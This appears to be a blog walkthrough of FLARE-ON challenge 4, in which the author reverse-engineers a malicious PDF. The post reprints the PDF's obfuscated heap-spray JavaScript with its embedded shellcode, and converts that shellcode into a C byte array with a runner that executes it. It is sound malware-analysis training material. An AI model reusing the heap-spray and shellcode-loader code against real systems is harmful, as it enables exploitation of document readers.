FLARE-ON – Challenge 4


Hello all, and welcome to challenge number four of seven. We’re halfway through this and so far it has been alright, there was nothing out of the ordinary.

This was about to change though, or at least it did for me!

The Challenge

The fourth challenge begins with this email:

Another one bites the dust!
Here’s some more fun for you, password is the same as always.

If you don’t remember the password for this one, you can get it from the previous instalment for this series. The attachment for this email was a password-protected zip file, containing a single file: APT9001.pdf.

Uh oh, a pdf file. I had a vague notion that you can use PDFs and similar documents to own people, but never actually looked into how this went down in terms of implementation. Turns out it’s not as sophisticated as it’s made out to be, but still quite impressive and very effective!

PDF Primer

If you are like me, then you probably need to read up on how PDFs are actually structured. This article, written by Didier Stevens, describes the basic structure of a PDF file. In principle the PDF file format is a page description language (you can open it in a text-editor) and is made out of small sections which are combined to form the final document. The basic structure of a PDF file is as follows:

  1. PDF Header: This starts with the magic bytes %PDF-x.x, where x.x usually describes the version of the PDF standard.
  2. Sections: Each section contains information, more on this later.
  3. Cross-Reference Table: This is a table of offsets that describes each section’s location with respect to the start of the file.
  4. Trailer: This section signifies the end of the file, it ends with %%EOF. It contains the offset from the start of the file, where one can find the offset table and also specifies which is the root node of the file (amongst other information).

From the above one can infer that the PDF file format can be seen as a tree-like structure. Indeed, every PDF has a root node with n children, where n is a non-negative integer, and each of these child-nodes can have its own children. These nodes, including the root, are described by each of the sections, or objects, as mentioned above. Steve can give you a better digest of the PDF format, and I recommend that you go and read his blog.

Each object in a PDF file can be a number of things. It could be an event, it could be an action triggering an event, it could be a media stream (think pictures and fonts), it could be text, it could be an object describing other pages and a lot more, as described in the PDF 1.7 Specification (/warning big file). The locations of these objects within the file are described as relative offsets from the start of the file in the Cross-Reference Table, whose location in the file is described in the file Trailer, or at least that’s how it works under normal circumstances.

What is even kewler, as described by Didier Stevens in his blog post and Julia Wolf in her CCC talk, is the permissiveness of the PDF standard! It will read malformed PDFs and try to make sense of them! Relevant to this article, and described by Stevens, are the myriad of encodings possible for representing the same entity! As an example, consider representing the string http. The following are all valid and equivalent representations (non-exhaustive list):

  • (http)
  • ( h t t     p )
  • <68  74 74 70>
  • (\150\164tp)
  • (#68\164 t        p)

You get the idea. You can represent things in ASCII (with spaces in between characters having no effect), hex, octal or any combination of the above and, if you’re feeling particularly nasty, use some compression or encryption on your strings! It’s crazy, but real, and I highly recommend watching the talk  PDF-OMG-WTF if you want to see crazy! Our PDF uses one of these methods, so let’s get to it!


Since we know that PDFs are hard to get right and that they are essentially  a flat file format, we can open up APT9001.pdf in vim:

Figure 1: The initial version of PDF, viewed in vim.
Figure 1: The initial version of PDF, viewed in vim.

Hmmm, there’s definitely some obfuscation going on in there, as Didier and Julia warned us about. Even in this case, objects 5 and 6 should catch your eye! Using pdf parser we get:

flare-on/challenge_04 $ ./pdftools/pdfid_v0_2_1/pdfid.py  APT9001.pdf
PDFiD 0.2.1 APT9001.pdf
PDF Header: %PDF-1.5
obj                   10
endobj                 9
stream                 3
endstream              3
xref                   2
trailer                2
startxref              2
/Page                  3(2)
/Encrypt               0
/ObjStm                0
/JS                    1(1)
/JavaScript            1(1)
/AA                    0
/OpenAction            1(1)
/AcroForm              0
/JBIG2Decode           1(1)
/RichMedia             0
/Launch                0
/EmbeddedFile          0
/XFA                   0
/Colors > 2^24         0

Ok, we can now be even more confident that this PDF is doing something fishy, we can see that it contains both JavaScript and actions that are triggered by events (OpenAction). After running qpdf and pdf-parser on the PDF, we get the cleaner version shown in Figure 2:

#decompress and normalize the PDF
flare-on/challenge_04 $ qpdf --stream-data=uncompress  ../APT9001.pdf ../APT9001_decompressed.pdf
#extract the javascript from the file
flare-on/challenge_04 $ ./pdftools/pdf-parser.py -o 5 -d hidden.js APT9001_decompressed.pdf

After running the commands above, here’s what the pdf looks like in vim:

Figure 2: The decompressed, de-obfuscated PDF.
Figure 2: The decompressed, de-obfuscated PDF.

Much more readable I say! If you’ve made it this far, then you’ve probably spotted object 5 by now, and noticed that it contains some JavaScript! Here’s what we extracted in hidden.js earlier:

var HdPN = "";
var zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf = "";
var IxTUQnOvHg = unescape("%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u9ba8%ufe01%uc7c6%ue3c1%u7e24%u437c%ue180%ub115%ub3b2%u4f66%u27b6%u9f3c%u7a4e%u412d%ubbbf%u7705%uf528%u9293%u9990%ua998%u0a47%u14eb%u3d49%u484b%u372f%ub98d%u3478%u0bb4%ud5d2%ue031%u3572%ud610%u6740%u2bbe%u4afd%u041c%u3f97%ufc3a%u7479%u421d%ub7b5%u0c2c%u130d%u25f8%u76b0%u4e79%u7bb1%u0c66%u2dbb%u911c%ua92f%ub82c%u8db0%u0d7e%u3b96%u49d4%ud56b%u03b7%ue1f7%u467d%u77b9%u3d42%u111d%u67e0%u4b92%ueb85%u2471%u9b48%uf902%u4f15%u04ba%ue300%u8727%u9fd6%u4770%u187a%u73e2%ufd1b%u2574%u437c%u4190%u97b6%u1499%u783c%u8337%ub3f8%u7235%u693f%u98f5%u7fbe%u4a75%ub493%ub5a8%u21bf%ufcd0%u3440%u057b%ub2b2%u7c71%u814e%u22e1%u04eb%u884a%u2ce2%u492d%u8d42%u75b3%uf523%u727f%ufc0b%u0197%ud3f7%u90f9%u41be%ua81c%u7d25%ub135%u7978%uf80a%ufd32%u769b%u921d%ubbb4%u77b8%u707e%u4073%u0c7a%ud689%u2491%u1446%u9fba%uc087%u0dd4%u4bb0%ub62f%ue381%u0574%u3fb9%u1b67%u93d5%u8396%u66e0%u47b5%u98b7%u153c%ua934%u3748%u3d27%u4f75%u8cbf%u43e2%ub899%u3873%u7deb%u257a%uf985%ubb8d%u7f91%u9667%ub292%u4879%u4a3c%ud433%u97a9%u377e%ub347%u933d%u0524%u9f3f%ue139%u3571%u23b4%ua8d6%u8814%uf8d1%u4272%u76ba%ufd08%ube41%ub54b%u150d%u4377%u1174%u78e3%ue020%u041c%u40bf%ud510%ub727%u70b1%uf52b%u222f%u4efc%u989b%u901d%ub62c%u4f7c%u342d%u0c66%ub099%u7b49%u787a%u7f7e%u7d73%ub946%ub091%u928d%u90bf%u21b7%ue0f6%u134b%u29f5%u67eb%u2577%ue186%u2a05%u66d6%ua8b9%u1535%u4296%u3498%ub199%ub4ba%ub52c%uf812%u4f93%u7b76%u3079%ubefd%u3f71%u4e40%u7cb3%u2775%ue209%u4324%u0c70%u182d%u02e3%u4af9%ubb47%u41b6%u729f%u9748%ud480%ud528%u749b%u1c3c%ufc84%u497d%u7eb8%ud26b%u1de0%u0d76%u3174%u14eb%u3770%u71a9%u723d%ub246%u2f78%u047f%ub6a9%u1c7b%u3a73%u3ce1%u19be%u34f9%ud500%u037a%ue2f8%ub024%ufd4e%u3d79%u7596%u9b15%u7c49%ub42f%u9f4f%u4799%uc13b%ue3d0%u4014%u903f%u41bf%u4397%ub88d%ub548%u0d77%u4ab2%u2d93%u9267%ub198%ufc1a%ud4b9%ub32c%ubaf5%u690c%u91d6%u04a8%u1dbb%u4666%u2505%u35b7%u3742%u4b27%ufc90%ud233%u30b2%uff64%u5a32%u528b%u8b0c%u1452%u728b%u3328%ub1c9%u3318%u33ff%uacc0%u613c%u027c%u202c%ucfc1%u030d%ue2f8%u81f0%u5bff%u4abc%u8b6a%u105a%u128b%uda75%u538b%u033c%uffd3%u3472%u528b%u0378%u8bd3%u2072%uf303%uc933%uad41%uc303%u3881%u6547%u5074%uf475%u7881%u7204%u636f%u7541%u81eb%u0878%u6464%u6572%ue275%u8b49%u2472%uf303%u8b66%u4e0c%u728b%u031c%u8bf3%u8e14%ud303%u3352%u57ff%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff53%u68d2%u3233%u0101%u8966%u247c%u6802%u7375%u7265%uff54%u68d0%u786f%u0141%udf8b%u5c88%u0324%u6168%u6567%u6842%u654d%u7373%u5054%u54ff%u2c24%u6857%u2144%u2121%u4f68%u4e57%u8b45%ue8dc%u0000%u0000%u148b%u8124%u0b72%ua316%u32fb%u7968%ubece%u8132%u1772%u45ae%u48cf%uc168%ue12b%u812b%u2372%u3610%ud29f%u7168%ufa44%u81ff%u2f72%ua9f7%u0ca9%u8468%ucfe9%u8160%u3b72%u93be%u43a9%ud268%u98a3%u8137%u4772%u8a82%u3b62%uef68%u11a4%u814b%u5372%u47d6%uccc0%ube68%ua469%u81ff%u5f72%ucaa3%u3154%ud468%u65ab%u8b52%u57cc%u5153%u8b57%u89f1%u83f7%u1ec7%ufe39%u0b7d%u3681%u4542%u4645%uc683%ueb04%ufff1%u68d0%u7365%u0173%udf8b%u5c88%u0324%u5068%u6f72%u6863%u7845%u7469%uff54%u2474%uff40%u2454%u5740%ud0ff"); 

var MPBPtdcBjTlpvyTYkSwgkrWhXL = "";
for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA=128;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA>=0;--EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) MPBPtdcBjTlpvyTYkSwgkrWhXL += unescape("%ub32f%u3791");
ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv = MPBPtdcBjTlpvyTYkSwgkrWhXL + IxTUQnOvHg;
OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY = unescape("%ub32f%u3791");
fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA = fJWhwERSDZtaZXlhcREfhZjCCVqFAPS+ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv.length
while (OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.length=0;--EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf += unescape("%ub550%u0166");
bGtvKT = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length + 20
while (zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length < bGtvKT) zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf += zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf;
Juphd = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.substring(0, bGtvKT);
QCZabMzxQiD = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.substring(0, zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length-bGtvKT);
while(QCZabMzxQiD.length+bGtvKT < 0x40000) QCZabMzxQiD = QCZabMzxQiD+QCZabMzxQiD+Juphd;
FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE = new Array();
for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA=0;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA<125;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA++) FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE[EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA] = QCZabMzxQiD + zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf;

And there we have it folks. Absolute conclusive proof that this PDF is an “APT”. If you glance through the code, it looks like it’s building a number of large strings, repeated for the most part. To me this looks like it’s trying to exploit some memory corruption vulnerability in the JS engine of Reader to run some shellcode.

Talking of the devil though, where is the shellcode? We could try going through the entire code and de-obfuscate/understand what exactly it does, but we could also start from looking at variable IxTUQnOvHg. It’s a Unicode string and looks like it’s long enough to contain useful shellcode! To analyse this I used a couple of tools, namely ODA and Metasploit’s shellcode template. If we copy and paste the unescaped string in a new file and then run the following:

flare-on/challenge_04 $ cat long_str.txt | sed -e "s/%u/ /g" -e "s/\([a-f0-9]\{2\}\)\([a-f0-9]\{2\}\)/0x\2,0x\1,/g"

NB: the byte order is swapped around for this to work. Now paste the output into Metasploit’s template to get:

#include <stdio.h>
#define SCSIZE 4096

char payload[SCSIZE] ={0xf9,0x72,0x49,0x46,0x25,0x15,0x0d,0x7f,0x3c,0x3d,0x84,0xe0,0x2a,0xd6,0x39,0xe1,0x4a,0xa8,0xb9,0x76,0x24,0x98,0x78,0x73,0x71,0x7d,0x7f,0x75,0x76,0x20,0xd4,0x96,0x91,0xba,0x70,0x19,0xf9,0xb8,0x32,0xe2,0x7b,0x46,0xa8,0x9b,0x01,0xfe,0xc6,0xc7,0xc1,0xe3,0x24,0x7e,0x7c,0x43,0x80,0xe1,0x15,0xb1,0xb2,0xb3,0x66,0x4f,0xb6,0x27,0x3c,0x9f,0x4e,0x7a,0x2d,0x41,0xbf,0xbb,0x05,0x77,0x28,0xf5,0x93,0x92,0x90,0x99,0x98,0xa9,0x47,0x0a,0xeb,0x14,0x49,0x3d,0x4b,0x48,0x2f,0x37,0x8d,0xb9, 0x78,0x34, 0xb4,0x0b, 0xd2,0xd5, 0x31,0xe0, 0x72,0x35, 0x10,0xd6, 0x40,0x67, 0xbe,0x2b, 0xfd,0x4a, 0x1c,0x04, 0x97,0x3f, 0x3a,0xfc, 0x79,0x74, 0x1d,0x42, 0xb5,0xb7, 0x2c,0x0c, 0x0d,0x13, 0xf8,0x25, 0xb0,0x76, 0x79,0x4e, 0xb1,0x7b, 0x66,0x0c, 0xbb,0x2d, 0x1c,0x91, 0x2f,0xa9, 0x2c,0xb8, 0xb0,0x8d, 0x7e,0x0d, 0x96,0x3b, 0xd4,0x49, 0x6b,0xd5, 0xb7,0x03, 0xf7,0xe1, 0x7d,0x46, 0xb9,0x77, 0x42,0x3d, 0x1d,0x11, 0xe0,0x67, 0x92,0x4b, 0x85,0xeb, 0x71,0x24, 0x48,0x9b, 0x02,0xf9, 0x15,0x4f, 0xba,0x04, 0x00,0xe3, 0x27,0x87, 0xd6,0x9f, 0x70,0x47, 0x7a,0x18, 0xe2,0x73, 0x1b,0xfd, 0x74,0x25, 0x7c,0x43, 0x90,0x41, 0xb6,0x97, 0x99,0x14, 0x3c,0x78, 0x37,0x83, 0xf8,0xb3, 0x35,0x72, 0x3f,0x69, 0xf5,0x98, 0xbe,0x7f, 0x75,0x4a, 0x93,0xb4, 0xa8,0xb5, 0xbf,0x21, 0xd0,0xfc, 0x40,0x34, 0x7b,0x05, 0xb2,0xb2, 0x71,0x7c, 0x4e,0x81, 0xe1,0x22, 0xeb,0x04, 0x4a,0x88, 0xe2,0x2c, 0x2d,0x49, 0x42,0x8d, 0xb3,0x75, 0x23,0xf5, 0x7f,0x72, 0x0b,0xfc, 0x97,0x01, 0xf7,0xd3, 0xf9,0x90, 0xbe,0x41, 0x1c,0xa8, 0x25,0x7d, 0x35,0xb1, 0x78,0x79, 0x0a,0xf8, 0x32,0xfd, 0x9b,0x76, 0x1d,0x92, 0xb4,0xbb, 0xb8,0x77, 0x7e,0x70, 0x73,0x40, 0x7a,0x0c, 0x89,0xd6, 0x91,0x24, 0x46,0x14, 0xba,0x9f, 0x87,0xc0, 0xd4,0x0d, 0xb0,0x4b, 0x2f,0xb6, 0x81,0xe3, 0x74,0x05, 0xb9,0x3f, 0x67,0x1b, 0xd5,0x93, 0x96,0x83, 0xe0,0x66, 0xb5,0x47, 0xb7,0x98, 0x3c,0x15, 0x34,0xa9, 0x48,0x37, 0x27,0x3d, 0x75,0x4f, 0xbf,0x8c, 0xe2,0x43, 0x99,0xb8, 0x73,0x38, 0xeb,0x7d, 0x7a,0x25, 0x85,0xf9, 0x8d,0xbb, 0x91,0x7f, 0x67,0x96, 0x92,0xb2, 0x79,0x48, 0x3c,0x4a, 0x33,0xd4, 0xa9,0x97, 0x7e,0x37, 0x47,0xb3, 0x3d,0x93, 0x24,0x05, 0x3f,0x9f, 0x39,0xe1, 0x71,0x35, 0xb4,0x23, 0xd6,0xa8, 0x14,0x88, 0xd1,0xf8, 0x72,0x42, 0xba,0x76, 0x08,0xfd, 0x41,0xbe, 0x4b,0xb5,0x0d,0x15,0x77,0x43,0x74,0x11,0xe3,0x78,0x20,0xe0,0x1c,0x04,0xbf,0x40,0x10,0xd5,0x27,0xb7,0xb1,0x70,0x2b,0xf5,0x2f,0x22,0xfc,0x4e,0x9b,0x98,0x1d,0x90,0x2c,0xb6,0x7c,0x4f,0x2d,0x34,0x66,0x0c,0x99,0xb0,0x49,0x7b,0x7a,0x78,0x7e,0x7f,0x73,0x7d,0x46,0xb9,0x91,0xb0,0x8d,0x92,0xbf,0x90,0xb7,0x21,0xf6,0xe0,0x4b,0x13,0xf5,0x29,0xeb,0x67,0x77,0x25,0x86,0xe1,0x05,0x2a,0xd6,0x66,0xb9,0xa8,0x35,0x15,0x96,0x42,0x98,0x34,0x99,0xb1,0xba,0xb4,0x2c,0xb5,0x12,0xf8,0x93,0x4f,0x76,0x7b,0x79,0x30,0xfd,0xbe,0x71,0x3f,0x40,0x4e,0xb3,0x7c,0x75,0x27,0x09,0xe2,0x24,0x43,0x70,0x0c,0x2d,0x18,0xe3,0x02,0xf9,0x4a,0x47,0xbb,0xb6,0x41,0x9f,0x72,0x48,0x97,0x80,0xd4,0x28,0xd5,0x9b,0x74,0x3c,0x1c,0x84,0xfc,0x7d,0x49,0xb8,0x7e,0x6b,0xd2,0xe0,0x1d,0x76,0x0d,0x74,0x31,0xeb,0x14,0x70,0x37,0xa9,0x71,0x3d,0x72,0x46,0xb2,0x78,0x2f,0x7f,0x04,0xa9,0xb6,0x7b,0x1c,0x73,0x3a,0xe1,0x3c,0xbe,0x19,0xf9,0x34,0x00,0xd5,0x7a,0x03,0xf8,0xe2,0x24,0xb0,0x4e,0xfd,0x79,0x3d,0x96,0x75,0x15,0x9b,0x49,0x7c,0x2f,0xb4,0x4f,0x9f,0x99,0x47,0x3b,0xc1,0xd0,0xe3,0x14,0x40,0x3f,0x90,0xbf,0x41,0x97,0x43,0x8d,0xb8,0x48,0xb5,0x77,0x0d,0xb2,0x4a,0x93,0x2d,0x67,0x92,0x98,0xb1,0x1a,0xfc,0xb9,0xd4,0x2c,0xb3,0xf5,0xba,0x0c,0x69,0xd6,0x91,0xa8,0x04,0xbb,0x1d,0x66,0x46,0x05,0x25,0xb7,0x35,0x42,0x37,0x27,0x4b,0x90,0xfc,0x33,0xd2,0xb2,0x30,0x64,0xff,0x32,0x5a,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x33,0xc9,0xb1,0x18,0x33,0xff,0x33,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x03,0xf8,0xe2,0xf0,0x81,0xff,0x5b,0xbc,0x4a,0x6a,0x8b,0x5a,0x10,0x8b,0x12,0x75,0xda,0x8b,0x53,0x3c,0x03,0xd3,0xff,0x72,0x34,0x8b,0x52,0x78,0x03,0xd3,0x8b,0x72,0x20,0x03,0xf3,0x33,0xc9,0x41,0xad,0x03,0xc3,0x81,0x38,0x47,0x65,0x74,0x50,0x75,0xf4,0x81,0x78,0x04,0x72,0x6f,0x63,0x41,0x75,0xeb,0x81,0x78,0x08,0x64,0x64,0x72,0x65,0x75,0xe2,0x49,0x8b,0x72,0x24,0x03,0xf3,0x66,0x8b,0x0c,0x4e,0x8b,0x72,0x1c,0x03,0xf3,0x8b,0x14,0x8e,0x03,0xd3,0x52,0x33,0xff,0x57,0x68,0x61,0x72,0x79,0x41,0x68,0x4c,0x69,0x62,0x72,0x68,0x4c,0x6f,0x61,0x64,0x54,0x53,0xff,0xd2,0x68,0x33,0x32,0x01,0x01,0x66,0x89,0x7c,0x24,0x02,0x68,0x75,0x73,0x65,0x72,0x54,0xff,0xd0,0x68,0x6f,0x78,0x41,0x01,0x8b,0xdf,0x88,0x5c,0x24,0x03,0x68,0x61,0x67,0x65,0x42,0x68,0x4d,0x65,0x73,0x73,0x54,0x50,0xff,0x54,0x24,0x2c,0x57,0x68,0x44,0x21,0x21,0x21,0x68,0x4f,0x57,0x4e,0x45,0x8b,0xdc,0xe8,0x00,0x00,0x00,0x00,0x8b,0x14,0x24,0x81,0x72,0x0b, 0x16,0xa3, 0xfb,0x32, 0x68,0x79, 0xce,0xbe, 0x32,0x81, 0x72,0x17, 0xae,0x45, 0xcf,0x48, 0x68,0xc1, 0x2b,0xe1, 0x2b,0x81, 0x72,0x23, 0x10,0x36, 0x9f,0xd2, 0x68,0x71, 0x44,0xfa, 0xff,0x81, 0x72,0x2f, 0xf7,0xa9, 0xa9,0x0c,0x68,0x84,0xe9,0xcf,0x60,0x81,0x72,0x3b,0xbe,0x93,0xa9,0x43,0x68,0xd2,0xa3,0x98,0x37,0x81,0x72,0x47,0x82,0x8a,0x62,0x3b,0x68,0xef,0xa4,0x11,0x4b,0x81,0x72,0x53,0xd6,0x47,0xc0,0xcc,0x68,0xbe,0x69,0xa4,0xff,0x81,0x72,0x5f,0xa3,0xca,0x54,0x31,0x68,0xd4,0xab,0x65,0x52,0x8b,0xcc,0x57,0x53,0x51,0x57,0x8b,0xf1,0x89,0xf7,0x83,0xc7,0x1e,0x39,0xfe,0x7d,0x0b,0x81,0x36,0x42,0x45,0x45,0x46,0x83,0xc6,0x04,0xeb,0xf1,0xff,0xd0,0x68,0x65,0x73,0x73,0x01,0x8b,0xdf,0x88,0x5c,0x24,0x03,0x68,0x50,0x72,0x6f,0x63,0x68,0x45,0x78,0x69,0x74,0x54,0xff,0x74,0x24,0x40,0xff,0x54,0x24,0x40,0x57, 0xff,0xd0};
int main(int argc, char **argv) {
    (*(void (*)()) payload)();

Some of the readers might not be interested in doing this bit of manual work, or indeed be obsessed with bash extra-super-awesome-one-liners-from-hell like me, so there are a couple of tools to your rescue! Check out ConvertShellCode.exe and shellcode2.exe.py from Lenny Zeltser’s post.

So, after compiling our executable and running it in immunity (in a VM, yes, can’t trust anyone) we get the following dialogue:

Figure 3: Allegedly owned.
Figure 3: Allegedly owned.

I mean I kind of doubt it, as everything is up to the latest patch level and we just run the payload as a low-priv user in a VM, let alone the fact that nobody in their right mind would burn a 0-day this way. But here’s my PSA: Use VMs and sandboxes kids, because you never know!

But back to the game now. After running the binary we got a MessageBox saying we got owned and displaying what looked like an illegible string. There are a couple of noteworthy things here. Firstly, we’re not importing the MessageBox API call, so it’s safe to assume the shellcode will dynamically import it and as such probably use a combination of LoadLibrary and GetProcAddress to find the address of MessageBox. Secondly, the strings used in this binary are not ours, and as such they must be located somewhere in the shellcode. Let’s step through, and see!

Figure 4: The address of LoadLibrayA in Kernel32.dll is loaded in memory and registers.
Figure 4: The address of LoadLibrayA in Kernel32.dll is loaded in memory and registers.

Ok. The address of LoadLibraryA is there in the registers and that of GetProcAddress is placed on the stack (Figure 4)! So our assumption was correct, and if we step for a bit more we can see the actual call to GetProcAddress:

Figure 5: The call to GetProcAddress.
Figure 5: The call to GetProcAddress.

Right, now that we have figured out more or less what’s going on I believe we should examine the shellcode. The answer is in there somewhere!

Figure 4: Shellcode payload excerpt with an interesting function.
Figure 6: Shellcode payload excerpt with an interesting function.

Function func_0000000035e looks somewhat promising, as it pushes some values to the stack and then XORs them, presumably in an obfuscating attempt. Going through the binary we compiled earlier in Immunity we’ll eventually reach this code, only to see:

Figure 5: Contents of the memory after stepping through the binary.
Figure 7: Contents of the memory after stepping through the binary.

The elusive email address, wa1ch.d3m.spl01ts@flare-on.com! In all fairness, reading that assembly more closely would have gotten me the solution and saved hammering the F8 key in the first place!


Not sure if you guys have noticed but there were some Easter eggs in this one! Mandiant report on a Chinese group, Chinese characters  in the payload and an APT of level over 9000! I only realised when doing the write-up, found the finger-pointing  kind of amusing!

Stick around for the next one 🙂

FLARE-ON – Challenge 4

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s